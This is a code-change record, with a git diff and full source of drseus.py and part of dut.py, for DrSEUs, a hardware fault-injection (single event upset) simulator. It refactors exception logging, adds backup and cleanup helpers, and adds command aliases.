    \ndiff --git a/log/views.py b/log/views.py\nindex d7cc98e..f23272f 100644\n--- a/log/views.py\n+++ b/log/views.py\n@@ -101,7 +101,10 @@ def results_page(request, campaign_id, filter_events=False):\n filter_objects = injection.objects.filter(\n result__campaign_id=campaign_id)\n if len(filter_objects) == 0:\n- return redirect('/campaign/'+str(campaign_id)+'/info')\n+ if filter_events:\n+ return redirect('/campaign/'+str(campaign_id)+'/results')\n+ else:\n+ return redirect('/campaign/'+str(campaign_id)+'/info')\n if filter_events:\n filter_ = event_filter(request.GET, queryset=filter_objects,\n campaign=campaign_id)\ndiff --git a/simics.py b/simics.py\nindex c757682..c7c40c3 100644\n--- a/simics.py\n+++ b/simics.py\n@@ -65,10 +65,10 @@ def __launch_simics(self, checkpoint=None):\n except Exception as error:\n self.simics.kill()\n with sql() as db:\n- db.log_event_exception(self.result_data['id'], 'Simics',\n- 'Error launching Simics')\n+ db.log_event_trace(self.result_data['id'], 'Simics',\n+ 'Error launching Simics', exception=True)\n print(colored(\n- self.dut.serial.port+' '+str(self.result_data['id'])+': '\n+ self.dut.serial.port+', '+str(self.result_data['id'])+': '\n 'error launching simics (attempt ' +\n str(attempt+1)+'/'+str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\ndiff --git a/sql.py b/sql.py\nindex 7487c45..5a29fff 100644\n--- a/sql.py\n+++ b/sql.py\n@@ -1,8 +1,7 @@\n from datetime import datetime\n-from io import StringIO\n import os\n import sqlite3\n-from traceback import print_exc\n+from traceback import format_exc, format_stack\n \n \n class sql(object):\n@@ -64,12 +63,12 @@ def log_event(self, result_id, source, event_type, description=None):\n 'timestamp': None}\n self.insert_dict('event', event_data)\n \n- def log_event_exception(self, result_id, source, event_type):\n- string_file = StringIO()\n- print_exc(file=string_file)\n- exception = string_file.getvalue()\n- string_file.close()\n- self.log_event(result_id, source, event_type, exception)\n+ def log_event_trace(self, result_id, source, event_type, exception=False):\n+ if exception:\n+ description = ''.join(format_exc())\n+ else:\n+ description = ''.join(format_stack()[:-2])\n+ self.log_event(result_id, source, event_type, description)\n \n def __exit__(self, type_, value, traceback):\n self.connection.close()\ndiff --git a/utilities.py b/utilities.py\nindex f2638ed..2f53013 100644\n--- a/utilities.py\n+++ b/utilities.py\n@@ -60,13 +60,28 @@ def get_campaign_data(campaign_id):\n \n \n def backup_database(none=None):\n- print('backing up database...', end='')\n- db_backup = ('campaign-data/' +\n- '-'.join([str(unit).zfill(2)\n- for unit in datetime.now().timetuple()[:6]]) +\n- '.db.sqlite3')\n- copy('campaign-data/db.sqlite3', db_backup)\n- print('done')\n+ if os.path.exists('campaign-data/db.sqlite3'):\n+ print('backing up database...', end='')\n+ db_backup = ('campaign-data/' +\n+ '-'.join([str(unit).zfill(2)\n+ for unit in datetime.now().timetuple()[:6]]) +\n+ '.db.sqlite3')\n+ copy('campaign-data/db.sqlite3', db_backup)\n+ print('done')\n+\n+\n+def clean(none=None):\n+ if os.path.exists('campaign-data/'):\n+ deleted_backup = False\n+ for item in os.listdir('campaign-data/'):\n+ if '.db.sqlite3' in item:\n+ os.remove('campaign-data/'+item)\n+ deleted_backup = True\n+ if deleted_backup:\n+ print('deleted database backup(s)')\n+ if os.path.exists('simics-workspace/injected-checkpoints'):\n+ rmtree('simics-workspace/injected-checkpoints')\n+ print('deleted injected checkpoints')\n \n \n def delete(options):\n@@ -113,11 +128,11 @@ def delete_campaign(campaign_id):\n print('deleted gold checkpoints')\n \n # def delete(options):\n- if options.delete == 'results':\n+ if options.delete in ('results', 'r'):\n delete_results(options.campaign_id)\n- elif options.delete == 'campaign':\n+ elif options.delete in ('campaign', 'c'):\n delete_campaign(options.campaign_id)\n- elif options.delete == 'all':\n+ elif options.delete in ('all', 'a'):\n if os.path.exists('simics-workspace/gold-checkpoints'):\n rmtree('simics-workspace/gold-checkpoints')\n print('deleted gold checkpoints')\n", "files": {"/drseus.py": {"changes": [{"diff": "\n help='application to run on device')\n new_campaign.add_argument('-A', '--arch', action='store',\n- choices=('a9', 'p2020'), dest='architecture',\n+ choices=['a9', 'p2020'], dest='architecture',\n default='p2020',\n help='target architecture [default=p2020]')\n new_campaign.add_argument('-t', '--timing', action='store', type=int,\n", "add": 1, "remove": 1, "filename": "/drseus.py", "badparts": [" choices=('a9', 'p2020'), dest='architecture',"], "goodparts": [" choices=['a9', 'p2020'], dest='architecture',"]}, {"diff": "\n help='delete results and campaigns')\n delete.add_argument('delete', action='store',\n- choices=('all', 'results', 'campaign'),\n- help='delete {results} for the selected campaign, '\n- 'delete selected {campaign} and its results, '\n- 'or delete {all} campaigns and results')\n+ choices=['results', 'campaign', 'all', 'r', 'c', 'a'],\n+ help='delete {results, r} for the selected campaign, '\n+ 'delete selected {campaign, c} and its results, '\n+ 'or delete {all, a} campaigns and results')\n delete.set_defaults(func=utilities.delete)\n \n merge = subparsers.add_parser('merge', aliases=['m', 'M'],\n", "add": 4, "remove": 4, "filename": "/drseus.py", "badparts": [" choices=('all', 'results', 'campaign'),", " help='delete {results} for the selected campaign, '", " 'delete selected {campaign} and its results, '", " 'or delete {all} campaigns and results')"], "goodparts": [" choices=['results', 'campaign', 'all', 'r', 'c', 'a'],", " help='delete {results, r} for the selected campaign, '", " 'delete selected {campaign, c} and its results, '", " 'or delete {all, a} campaigns and results')"]}], "source": "\n\nfrom argparse import ArgumentParser import utilities parser=ArgumentParser( description='The Dynamic Robust Single Event Upset Simulator ' 'was created by Ed Carlisle IV', epilog='Begin by creating a new campaign with \"%(prog)s new APPLICATION\". ' 'Then run injections with \"%(prog)s inject\".') parser.add_argument('-C', '--campaign', action='store', type=int, metavar='ID', dest='campaign_id', default=0, help='campaign to use, defaults to last campaign created') parser.add_argument('-D', '--debug', action='store_true', dest='debug', help='display device output for parallel injections') parser.add_argument('-T', '--timeout', action='store', type=int, metavar='SECONDS', dest='timeout', default=300, help='device read timeout[default=300]') parser.add_argument('--serial', action='store', metavar='PORT', dest='dut_serial_port', help='DUT serial port[p2020 default=/dev/ttyUSB1] ' '[a9 default=/dev/ttyACM0](overridden by Simics)') parser.add_argument('--baud', action='store', type=int, metavar='RATE', dest='dut_baud_rate', default=115200, help='DUT serial port baud rate[default=115200]') parser.add_argument('--scp', action='store', type=int, metavar='PORT', dest='dut_scp_port', default=22, help='DUT scp port[default=22](overridden by Simics)') parser.add_argument('--prompt', action='store', metavar='PROMPT', dest='dut_prompt', help='DUT console prompt[p2020 default=root@p2020rdb:~ '[a9 default=[root@ZED] parser.add_argument('--user', action='store', dest='username', default='root', help='device username') parser.add_argument('--pass', action='store', dest='password', default='chrec', help='device password') parser.add_argument('--uboot', action='store', metavar='COMMAND', dest='dut_uboot', default='', help='DUT u-boot command') parser.add_argument('--aux_serial', action='store', metavar='PORT', dest='aux_serial_port', help='AUX serial port[p2020 default=/dev/ttyUSB1] ' '[a9 default=/dev/ttyACM0](overridden by Simics)') parser.add_argument('--aux_baud', action='store', type=int, metavar='RATE', dest='aux_baud_rate', default=115200, help='AUX serial port baud rate[default=115200]') parser.add_argument('--aux_scp', action='store', type=int, metavar='PORT', dest='aux_scp_port', default=22, help='AUX scp port[default=22](overridden by Simics)') parser.add_argument('--aux_prompt', action='store', metavar='PROMPT', dest='aux_prompt', help='AUX console prompt[p2020 default=root@p2020rdb:~ '[a9 default=[root@ZED] parser.add_argument('--aux_uboot', action='store', metavar='COMMAND', dest='aux_uboot', default='', help='AUX u-boot command') parser.add_argument('--debugger_ip', action='store', metavar='ADDRESS', dest='debugger_ip_address', default='10.42.0.50', help='debugger ip address[default=10.42.0.50] ' '(ignored by Simics and ZedBoards)') parser.add_argument('--no_jtag', action='store_false', dest='jtag', help='do not connect to jtag debugger(ignored by Simics)') subparsers=parser.add_subparsers( title='commands', description='Run \"%(prog)s COMMAND -h\" to get additional help for each ' 'command', metavar='COMMAND', dest='command') new_campaign=subparsers.add_parser('new', aliases=['n'], help='create a new campaign', description='create a new campaign') new_campaign.add_argument('application', action='store', metavar='APPLICATION', help='application to run on device') new_campaign.add_argument('-A', '--arch', action='store', choices=('a9', 'p2020'), dest='architecture', default='p2020', help='target architecture[default=p2020]') new_campaign.add_argument('-t', '--timing', action='store', type=int, dest='iterations', default=5, help='number of timing iterations to run[default=5]') new_campaign.add_argument('-a', '--args', action='store', nargs='+', dest='arguments', help='arguments for application') new_campaign.add_argument('-d', '--dir', action='store', dest='directory', default='fiapps', help='directory to look for files[default=fiapps]') new_campaign.add_argument('-f', '--files', action='store', nargs='+', metavar='FILE', dest='files', help='files to copy to device') new_campaign.add_argument('-o', '--output', action='store', dest='file', default='result.dat', help='target application output file ' '[default=result.dat]') new_campaign.add_argument('-x', '--aux', action='store_true', dest='use_aux', help='use auxiliary device during testing') new_campaign.add_argument('-y', '--aux_app', action='store', metavar='APPLICATION', dest='aux_application', help='target application for auxiliary device') new_campaign.add_argument('-z', '--aux_args', action='store', metavar='ARGUMENTS', dest='aux_arguments', help='arguments for auxiliary application') new_campaign.add_argument('-F', '--aux_files', action='store', nargs='+', metavar='FILE', dest='aux_files', help='files to copy to auxiliary device') new_campaign.add_argument('-O', '--aux_output', action='store_true', dest='use_aux_output', help='use output file from auxiliary device') new_campaign.add_argument('-k', '--kill_dut', action='store_true', dest='kill_dut', help='send ctrl-c to DUT after auxiliary device ' 'completes execution') new_campaign.add_argument('-s', '--simics', action='store_true', dest='use_simics', help='use Simics simulator') new_simics_campaign=new_campaign.add_argument_group( 'Simics campaigns', 'Additional options for Simics campaigns only') new_simics_campaign.add_argument('-c', '--checkpoints', action='store', type=int, metavar='CHECKPOINTS', dest='checkpoints', default=50, help='number of gold checkpoints to target for' ' creation(actual number of checkpoints ' 'may be different)[default=50]') new_campaign.set_defaults(func=utilities.create_campaign) inject=subparsers.add_parser('inject', aliases=['i', 'I', 'inj'], help='perform fault injections on a campaign', description='perform fault injections on a ' 'campaign') inject.add_argument('-n', '--iterations', action='store', type=int, dest='iterations', help='number of iterations to perform[default=infinite]') inject.add_argument('-i', '--injections', action='store', type=int, dest='injections', default=1, help='number of injections per iteration[default=1]') inject.add_argument('-t', '--targets', action='store', nargs='+', metavar='TARGET', dest='selected_targets', help='list of targets for injection') inject.add_argument('-p', '--processes', action='store', type=int, dest='processes', default=1, help='number of injections to perform in parallel ' '(only supported for ZedBoards and Simics)') inject_simics=inject.add_argument_group( 'Simics campaigns', 'Additional options for Simics campaigns only') inject_simics.add_argument('-a', '--compare_all', action='store_true', dest='compare_all', help='monitor all checkpoints(only last by ' 'default), IMPORTANT: do NOT use with ' '\"-p\" or \"--processes\" when using this ' 'option for the first time in a ' 'campaign') inject.set_defaults(func=utilities.inject_campaign) supervise=subparsers.add_parser('supervise', aliases=['s', 'S'], help='run interactive supervisor', description='run interactive supervisor') supervise.add_argument('-w', '--wireshark', action='store_true', dest='capture', help='run remote packet capture') supervise.set_defaults(func=utilities.launch_supervisor) log_viewer=subparsers.add_parser('log', aliases=['l'], help='start the log web server', description='start the log web server') log_viewer.add_argument('-p', '--port', action='store', type=int, dest='port', default=8000, help='log web server port[default=8000]') log_viewer.set_defaults(func=utilities.view_logs) zedboards=subparsers.add_parser('zedboards', aliases=['z', 'Z'], help='print information about attached ' 'ZedBoards', description='print information about ' 'attached ZedBoards') zedboards.set_defaults(func=utilities.print_zedboard_info) list_campaigns=subparsers.add_parser('list', aliases=['L', 'ls'], help='list campaigns', description='list campaigns') list_campaigns.set_defaults(func=utilities.list_campaigns) delete=subparsers.add_parser('delete', aliases=['d', 'D'], description='delete results and campaigns', help='delete results and campaigns') delete.add_argument('delete', action='store', choices=('all', 'results', 'campaign'), help='delete{results} for the selected campaign, ' 'delete selected{campaign} and its results, ' 'or delete{all} campaigns and results') delete.set_defaults(func=utilities.delete) merge=subparsers.add_parser('merge', aliases=['m', 'M'], help='merge campaigns', description='merge campaigns') merge.add_argument('directory', action='store', metavar='DIRECTORY', help='merge campaigns from external directory into the ' 'local directory') merge.set_defaults(func=utilities.merge_campaigns) openocd=subparsers.add_parser('openocd', aliases=['o', 'O'], help='launch openocd for DUT ' '(only supported for ZedBoards)', description='launch openocd for DUT ' '(only supported for ZedBoards)') openocd.set_defaults(func=utilities.launch_openocd) regenerate=subparsers.add_parser('regenerate', aliases=['r', 'R'], help='regenerate injected state and launch ' 'in Simics(only supported for Simics ' 'campaigns)', description='regenerate injected state and ' 'launch in Simics(only ' 'supported for Simics ' 'campaigns)') regenerate.add_argument('result_id', action='store', metavar='RESULT_ID', help='result to regenerate') regenerate.set_defaults(func=utilities.regenerate) update=subparsers.add_parser('update', aliases=['u', 'U'], help='update gold checkpoint dependency paths ' '(only supported for Simics campaigns)', description='update gold checkpoint dependency ' 'paths(only supported for Simics ' 'campaigns)') update.set_defaults(func=utilities.update_dependencies) backup=subparsers.add_parser('backup', aliases=['b', 'B'], help='backup the results database', description='backup the results database') backup.set_defaults(func=utilities.backup_database) options=parser.parse_args() if options.command is None: parser.print_help() else: if options.command !='new': if not options.campaign_id: options.campaign_id=utilities.get_last_campaign() if options.campaign_id: options.architecture=\\ utilities.get_campaign_data(options.campaign_id)['architecture'] if options.command=='new' or options.campaign_id: if options.architecture=='p2020': if options.dut_serial_port is None: options.dut_serial_port='/dev/ttyUSB1' if options.dut_prompt is None: options.dut_prompt='root@p2020rdb:~ if options.aux_serial_port is None: options.aux_serial_port='/dev/ttyUSB0' if options.aux_prompt is None: options.aux_prompt='root@p2020rdb:~ elif options.architecture=='a9': if options.dut_serial_port is None: options.dut_serial_port='/dev/ttyACM0' if options.dut_prompt is None: options.dut_prompt='[root@ZED] if options.aux_serial_port is None: options.aux_serial_port='/dev/ttyACM1' if options.aux_prompt is None: options.aux_prompt='[root@ZED] if options.command=='new' and options.arguments: options.arguments=' '.join(options.arguments) options.func(options) ", "sourceWithComments": "#!/usr/bin/env python3\nfrom argparse import ArgumentParser\n\nimport utilities\n\n# TODO: add option for device password\n# TODO: add options for custom error messages\n# TODO: use formatting strings\n# TODO: add ip address override\n# TODO: remove output image buttons if not needed from log viewer result page\n# TODO: move rsakey back into campaign_data/db\n# TODO: add boot commands option\n# TODO: add modes to backup database and delete backups\n# TODO: add mode to redo injection iteration\n# TODO: add fallback to power cycle when resetting dut\n# TODO: add support for injection of multi-bit upsets\n# TODO: add option for number of times to rerun app for latent fault case\n# TODO: change Exception in simics.py to DrSEUsError\n\nparser = ArgumentParser(\n description='The Dynamic Robust Single Event Upset Simulator '\n 'was created by Ed Carlisle IV',\n epilog='Begin by creating a new campaign with \"%(prog)s new APPLICATION\". '\n 'Then run injections with \"%(prog)s inject\".')\nparser.add_argument('-C', '--campaign', action='store', type=int, metavar='ID',\n dest='campaign_id', default=0,\n help='campaign to use, defaults to last campaign created')\nparser.add_argument('-D', '--debug', action='store_true', dest='debug',\n help='display device output for parallel injections')\nparser.add_argument('-T', '--timeout', action='store', type=int,\n metavar='SECONDS', dest='timeout', default=300,\n help='device read timeout [default=300]')\nparser.add_argument('--serial', action='store', metavar='PORT',\n dest='dut_serial_port',\n help='DUT serial port [p2020 default=/dev/ttyUSB1] '\n '[a9 default=/dev/ttyACM0] (overridden by Simics)')\nparser.add_argument('--baud', action='store', type=int, metavar='RATE',\n dest='dut_baud_rate', default=115200,\n help='DUT serial port baud rate [default=115200]')\nparser.add_argument('--scp', action='store', type=int, metavar='PORT',\n dest='dut_scp_port', default=22,\n help='DUT scp port [default=22] (overridden by Simics)')\nparser.add_argument('--prompt', action='store', metavar='PROMPT',\n dest='dut_prompt',\n help='DUT console prompt [p2020 default=root@p2020rdb:~#] '\n '[a9 default=[root@ZED]#] (overridden by Simics)')\nparser.add_argument('--user', action='store', dest='username', default='root',\n help='device username')\nparser.add_argument('--pass', action='store', dest='password', default='chrec',\n help='device password')\nparser.add_argument('--uboot', action='store', metavar='COMMAND',\n dest='dut_uboot', default='', help='DUT u-boot command')\nparser.add_argument('--aux_serial', action='store', metavar='PORT',\n dest='aux_serial_port',\n help='AUX serial port [p2020 default=/dev/ttyUSB1] '\n '[a9 default=/dev/ttyACM0] (overridden by Simics)')\nparser.add_argument('--aux_baud', action='store', type=int, metavar='RATE',\n dest='aux_baud_rate', default=115200,\n help='AUX serial port baud rate [default=115200]')\nparser.add_argument('--aux_scp', action='store', type=int, metavar='PORT',\n dest='aux_scp_port', default=22,\n help='AUX scp port [default=22] (overridden by Simics)')\nparser.add_argument('--aux_prompt', action='store', metavar='PROMPT',\n dest='aux_prompt',\n help='AUX console prompt [p2020 default=root@p2020rdb:~#] '\n '[a9 default=[root@ZED]#] (overridden by Simics)')\nparser.add_argument('--aux_uboot', action='store', metavar='COMMAND',\n dest='aux_uboot', default='', help='AUX u-boot command')\nparser.add_argument('--debugger_ip', action='store', metavar='ADDRESS',\n dest='debugger_ip_address', default='10.42.0.50',\n help='debugger ip address [default=10.42.0.50] '\n '(ignored by Simics and ZedBoards)')\nparser.add_argument('--no_jtag', action='store_false', dest='jtag',\n help='do not connect to jtag debugger (ignored by Simics)')\nsubparsers = parser.add_subparsers(\n title='commands',\n description='Run \"%(prog)s COMMAND -h\" to get additional help for each '\n 'command',\n metavar='COMMAND', dest='command')\n\nnew_campaign = subparsers.add_parser('new', aliases=['n'],\n help='create a new campaign',\n description='create a new campaign')\nnew_campaign.add_argument('application', action='store', metavar='APPLICATION',\n help='application to run on device')\nnew_campaign.add_argument('-A', '--arch', action='store',\n choices=('a9', 'p2020'), dest='architecture',\n default='p2020',\n help='target architecture [default=p2020]')\nnew_campaign.add_argument('-t', '--timing', action='store', type=int,\n dest='iterations', default=5,\n help='number of timing iterations to run [default=5]')\nnew_campaign.add_argument('-a', '--args', action='store', nargs='+',\n dest='arguments', help='arguments for application')\nnew_campaign.add_argument('-d', '--dir', action='store', dest='directory',\n default='fiapps',\n help='directory to look for files [default=fiapps]')\nnew_campaign.add_argument('-f', '--files', action='store', nargs='+',\n metavar='FILE', dest='files',\n help='files to copy to device')\nnew_campaign.add_argument('-o', '--output', action='store', dest='file',\n default='result.dat',\n help='target application output file '\n '[default=result.dat]')\nnew_campaign.add_argument('-x', '--aux', action='store_true', dest='use_aux',\n help='use auxiliary device during testing')\nnew_campaign.add_argument('-y', '--aux_app', action='store',\n metavar='APPLICATION', dest='aux_application',\n help='target application for auxiliary device')\nnew_campaign.add_argument('-z', '--aux_args', action='store',\n metavar='ARGUMENTS', dest='aux_arguments',\n help='arguments for auxiliary application')\nnew_campaign.add_argument('-F', '--aux_files', action='store', nargs='+',\n metavar='FILE', dest='aux_files',\n help='files to copy to auxiliary device')\nnew_campaign.add_argument('-O', '--aux_output', action='store_true',\n dest='use_aux_output',\n help='use output file from auxiliary device')\nnew_campaign.add_argument('-k', '--kill_dut', action='store_true',\n dest='kill_dut',\n help='send ctrl-c to DUT after auxiliary device '\n 'completes execution')\nnew_campaign.add_argument('-s', '--simics', action='store_true',\n dest='use_simics', help='use Simics simulator')\nnew_simics_campaign = new_campaign.add_argument_group(\n 'Simics campaigns', 'Additional options for Simics campaigns only')\nnew_simics_campaign.add_argument('-c', '--checkpoints', action='store',\n type=int, metavar='CHECKPOINTS',\n dest='checkpoints', default=50,\n help='number of gold checkpoints to target for'\n ' creation (actual number of checkpoints '\n 'may be different) [default=50]')\nnew_campaign.set_defaults(func=utilities.create_campaign)\n\ninject = subparsers.add_parser('inject', aliases=['i', 'I', 'inj'],\n help='perform fault injections on a campaign',\n description='perform fault injections on a '\n 'campaign')\ninject.add_argument('-n', '--iterations', action='store', type=int,\n dest='iterations',\n help='number of iterations to perform [default=infinite]')\ninject.add_argument('-i', '--injections', action='store', type=int,\n dest='injections', default=1,\n help='number of injections per iteration [default=1]')\ninject.add_argument('-t', '--targets', action='store', nargs='+',\n metavar='TARGET', dest='selected_targets',\n help='list of targets for injection')\ninject.add_argument('-p', '--processes', action='store', type=int,\n dest='processes', default=1,\n help='number of injections to perform in parallel '\n '(only supported for ZedBoards and Simics)')\ninject_simics = inject.add_argument_group(\n 'Simics campaigns', 'Additional options for Simics campaigns only')\ninject_simics.add_argument('-a', '--compare_all', action='store_true',\n dest='compare_all',\n help='monitor all checkpoints (only last by '\n 'default), IMPORTANT: do NOT use with '\n '\"-p\" or \"--processes\" when using this '\n 'option for the first time in a '\n 'campaign')\ninject.set_defaults(func=utilities.inject_campaign)\n\nsupervise = subparsers.add_parser('supervise', aliases=['s', 'S'],\n help='run interactive supervisor',\n description='run interactive supervisor')\nsupervise.add_argument('-w', '--wireshark', action='store_true', dest='capture',\n help='run remote packet capture')\nsupervise.set_defaults(func=utilities.launch_supervisor)\n\nlog_viewer = subparsers.add_parser('log', aliases=['l'],\n help='start the log web server',\n description='start the log web server')\nlog_viewer.add_argument('-p', '--port', action='store', type=int,\n dest='port', default=8000,\n help='log web server port [default=8000]')\nlog_viewer.set_defaults(func=utilities.view_logs)\n\nzedboards = subparsers.add_parser('zedboards', aliases=['z', 'Z'],\n help='print information about attached '\n 'ZedBoards',\n description='print information about '\n 'attached ZedBoards')\nzedboards.set_defaults(func=utilities.print_zedboard_info)\n\nlist_campaigns = subparsers.add_parser('list', aliases=['L', 'ls'],\n help='list campaigns',\n description='list campaigns')\nlist_campaigns.set_defaults(func=utilities.list_campaigns)\n\ndelete = subparsers.add_parser('delete', aliases=['d', 'D'],\n description='delete results and campaigns',\n help='delete results and campaigns')\ndelete.add_argument('delete', action='store',\n choices=('all', 'results', 'campaign'),\n help='delete {results} for the selected campaign, '\n 'delete selected {campaign} and its results, '\n 'or delete {all} campaigns and results')\ndelete.set_defaults(func=utilities.delete)\n\nmerge = subparsers.add_parser('merge', aliases=['m', 'M'],\n help='merge campaigns',\n description='merge campaigns')\nmerge.add_argument('directory', action='store', metavar='DIRECTORY',\n help='merge campaigns from external directory into the '\n 'local directory')\nmerge.set_defaults(func=utilities.merge_campaigns)\n\nopenocd = subparsers.add_parser('openocd', aliases=['o', 'O'],\n help='launch openocd for DUT '\n '(only supported for ZedBoards)',\n description='launch openocd for DUT '\n '(only supported for ZedBoards)')\nopenocd.set_defaults(func=utilities.launch_openocd)\n\nregenerate = subparsers.add_parser('regenerate', aliases=['r', 'R'],\n help='regenerate injected state and launch '\n 'in Simics (only supported for Simics '\n 'campaigns)',\n description='regenerate injected state and '\n 'launch in Simics (only '\n 'supported for Simics '\n 'campaigns)')\nregenerate.add_argument('result_id', action='store', metavar='RESULT_ID',\n help='result to regenerate')\nregenerate.set_defaults(func=utilities.regenerate)\n\nupdate = subparsers.add_parser('update', aliases=['u', 'U'],\n help='update gold checkpoint dependency paths '\n '(only supported for Simics campaigns)',\n description='update gold checkpoint dependency '\n 'paths (only supported for Simics '\n 'campaigns)')\nupdate.set_defaults(func=utilities.update_dependencies)\n\nbackup = subparsers.add_parser('backup', aliases=['b', 'B'],\n help='backup the results database',\n description='backup the results database')\nbackup.set_defaults(func=utilities.backup_database)\n\noptions = parser.parse_args()\nif options.command is None:\n parser.print_help()\nelse:\n if options.command != 'new':\n if not options.campaign_id:\n options.campaign_id = utilities.get_last_campaign()\n if options.campaign_id:\n options.architecture = \\\n utilities.get_campaign_data(options.campaign_id)['architecture']\n if options.command == 'new' or options.campaign_id:\n if options.architecture == 'p2020':\n if options.dut_serial_port is None:\n options.dut_serial_port = '/dev/ttyUSB1'\n if options.dut_prompt is None:\n options.dut_prompt = 'root@p2020rdb:~#'\n if options.aux_serial_port is None:\n options.aux_serial_port = '/dev/ttyUSB0'\n if options.aux_prompt is None:\n options.aux_prompt = 'root@p2020rdb:~#'\n elif options.architecture == 'a9':\n if options.dut_serial_port is None:\n options.dut_serial_port = '/dev/ttyACM0'\n if options.dut_prompt is None:\n options.dut_prompt = '[root@ZED]#'\n if options.aux_serial_port is None:\n options.aux_serial_port = '/dev/ttyACM1'\n if options.aux_prompt is None:\n options.aux_prompt = '[root@ZED]#'\n if options.command == 'new' and options.arguments:\n options.arguments = ' '.join(options.arguments)\n options.func(options)\n"}, "/dut.py": {"changes": [{"diff": "\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n- 'SSH error')\n+ 'SSH error', exception=True)\n print(colored(\n- self.serial.port+' '+str(self.result_data['id'])+': '\n+ self.serial.port+', '+str(self.result_data['id'])+': '\n 'error sending file(s) (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\n", "add": 3, "remove": 3, "filename": "/dut.py", "badparts": [" db.log_event_exception(", " 'SSH error')", " self.serial.port+' '+str(self.result_data['id'])+': '"], "goodparts": [" db.log_event_trace(", " 'SSH error', exception=True)", " self.serial.port+', '+str(self.result_data['id'])+': '"]}, {"diff": "\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n- 'SCP error')\n+ 'SCP error', exception=True)\n print(colored(\n- self.serial.port+' '+str(self.result_data['id'])+': '\n+ self.serial.port+', '+str(self.result_data['id'])+': '\n 'error sending file(s) (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n dut_scp.close()\n", "add": 3, "remove": 3, "filename": "/dut.py", "badparts": [" db.log_event_exception(", " 'SCP error')", " self.serial.port+' '+str(self.result_data['id'])+': '"], "goodparts": [" db.log_event_trace(", " 'SCP error', exception=True)", " self.serial.port+', '+str(self.result_data['id'])+': '"]}, {"diff": "\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n- 'SSH error')\n+ 'SSH error', exception=True)\n print(colored(\n- self.serial.port+' '+str(self.result_data['id'])+': '\n+ self.serial.port+', '+str(self.result_data['id'])+': '\n 'error receiving file (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\n", "add": 3, "remove": 3, "filename": "/dut.py", "badparts": [" db.log_event_exception(", " 'SSH error')", " self.serial.port+' '+str(self.result_data['id'])+': '"], "goodparts": [" db.log_event_trace(", " 'SSH error', exception=True)", " self.serial.port+', '+str(self.result_data['id'])+': '"]}, {"diff": "\n dut_scp = SCPClient(ssh.get_transport())\n try:\n dut_scp.get(file_, local_path=local_path)\n- except:\n+ except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n- 'SCP error')\n+ 'SCP error', exception=True)\n print(colored(\n- self.serial.port+' '+str(self.result_data['id'])+': '\n+ self.serial.port+', '+str(self.result_data['id'])+': '\n 'error receiving file (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n dut_scp.close()\n", "add": 4, "remove": 4, "filename": "/dut.py", "badparts": [" except:", " db.log_event_exception(", " 'SCP error')", " self.serial.port+' '+str(self.result_data['id'])+': '"], "goodparts": [" except Exception as error:", " db.log_event_trace(", " 'SCP error', exception=True)", " self.serial.port+', '+str(self.result_data['id'])+': '"]}, {"diff": "\n event_buff = ''\n event_buff_logged = ''\n errors = 0\n+ hanging = False\n while True:\n char = self.serial.read().decode('utf-8', 'replace')\n if not char:\n+ hanging = True\n if self.options.command != 'new':\n with sql() as db:\n- event_buff = buff.replace(event_buff_logged, '')\n- db.log_event(self.result_data['id'],\n- ('DUT' if not self.aux else 'AUX'),\n- 'Read timeout', event_buff)\n- event_buff_logged += event_buff\n+ db.log_event_trace(\n+ self.result_data['id'],\n+ ('DUT' if not self.aux else 'AUX'),\n+ 'Read timeout')\n if not continuous:\n break\n if self.options.command == 'new':\n", "add": 6, "remove": 5, "filename": "/dut.py", "badparts": [" event_buff = buff.replace(event_buff_logged, '')", " db.log_event(self.result_data['id'],", " ('DUT' if not self.aux else 'AUX'),", " 'Read timeout', event_buff)", " event_buff_logged += event_buff"], "goodparts": [" hanging = False", " hanging = True", " db.log_event_trace(", " self.result_data['id'],", " ('DUT' if not self.aux else 'AUX'),", " 'Read timeout')"]}], "source": "\nfrom paramiko import AutoAddPolicy, SSHClient from scp import SCPClient from serial import Serial import sys from termcolor import colored from time import sleep from error import DrSEUsError from sql import sql class dut(object): error_messages=[ ('drseus_sighandler: SIGSEGV', 'Signal SIGSEGV'), ('drseus_sighandler: SIGILL', 'Signal SIGILL'), ('drseus_sighandler: SIGBUS', 'Signal SIGBUS'), ('drseus_sighandler: SIGFPE', 'Signal SIGFPE'), ('drseus_sighandler: SIGABRT', 'Signal SIGABRT'), ('drseus_sighandler: SIGIOT', 'Signal SIGIOT'), ('drseus_sighandler: SIGTRAP', 'Signal SIGTRAP'), ('drseus_sighandler: SIGSYS', 'Signal SIGSYS'), ('drseus_sighandler: SIGEMT', 'Signal SIGEMT'), ('command not found', 'Invalid command'), ('No such file or directory', 'Missing file'), ('panic', 'Kernel error'), ('Oops', 'Kernel error'), ('Segmentation fault', 'Segmentation fault'), ('Illegal instruction', 'Illegal instruction'), ('Call Trace:', 'Kernel error'), ('detected stalls on CPU', 'Stall detected'), ('malloc(), memory corruption', 'Kernel error'), ('Bad swap file entry', 'Kernel error'), ('Unable to handle kernel paging request', 'Kernel error'), ('Alignment trap', 'Kernel error'), ('Unhandled fault', 'Kernel error'), ('free(), invalid next size', 'Kernel error'), ('double free or corruption', 'Kernel error'), ('????????', '????????'), ('Hit any key to stop autoboot:', 'Reboot'), ('can\\'t get kernel image', 'Error booting')] def __init__(self, campaign_data, result_data, options, rsakey, aux=False): self.campaign_data=campaign_data self.result_data=result_data self.options=options self.aux=aux self.uboot_command=self.options.dut_uboot if not self.aux \\ else self.options.aux_uboot 